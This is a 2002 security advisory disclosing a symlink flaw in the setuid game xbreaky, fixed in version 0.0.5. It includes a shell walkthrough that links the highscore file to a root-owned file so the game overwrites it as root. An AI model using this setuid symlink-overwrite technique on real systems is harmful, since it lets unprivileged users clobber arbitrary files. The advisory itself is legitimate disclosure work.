xbreaky symlink vulnerability

-----------------------------------------------------------------------
Title:             xbreaky symlink vulnerability
Author:            Marco van Berkum
Classification:    High risk
Date:              12/09/2002
Email:             m.v.berkum@obit.nl
Company:           OBIT
Company site:      http://www.obit.nl
Personal website:  http://ws.obit.nl
-----------------------------------------------------------------------

About xbreaky
-------------
xbreaky is a breakout game for X written by Dave Brul which can be downloaded
from http://xbreaky.sourceforge.net. xbreaky is added to the OpenBSD ports tree,
NetBSD tree and possibly others.

Problem
-------
By default xbreaky is installed as suid and can be abused to overwrite any file
on the filesystem, by any user.

Vulnerable versions
-------------------
All versions prior to 0.0.5

Exploit
-------
xbreaky uses $HOME/.breakyhighscores to write the highscores to, when
$HOME/.breakyhighscores is symlinked to another file (*any* file) it simply
overwrites it as root user.

Example
-------
root@animal:/home/marco# echo "bla" >rootfile
root@animal:/home/marco# chmod 600 rootfile
root@animal:/home/marco# exit
logout
marco@animal:~$ ln -s rootfile .breakyhighscores
marco@animal:~$ xbreaky

Now I play a game and set highscore as user "lol", then I exit the game.
Its a nice game btw :)

marco@animal:~$ cat rootfile
cat: rootfile: Permission denied
marco@animal:~$ su -
Password:
root@animal:~# cat /home/marco/rootfile
lol <- voila, our highscore user

Author's response and solution
------------------------------
The author corrected the problem and released xbreaky 0.0.5

Credits
-------
Thanks to Dennis Oelkers for testing.


--
find / -user your -name base -exec chown us:us {}\;
 ----------------------------------------
|    Marco van Berkum / MB17300-RIPE     |
| m.v.berkum@obit.nl / http://ws.obit.nl |
 ----------------------------------------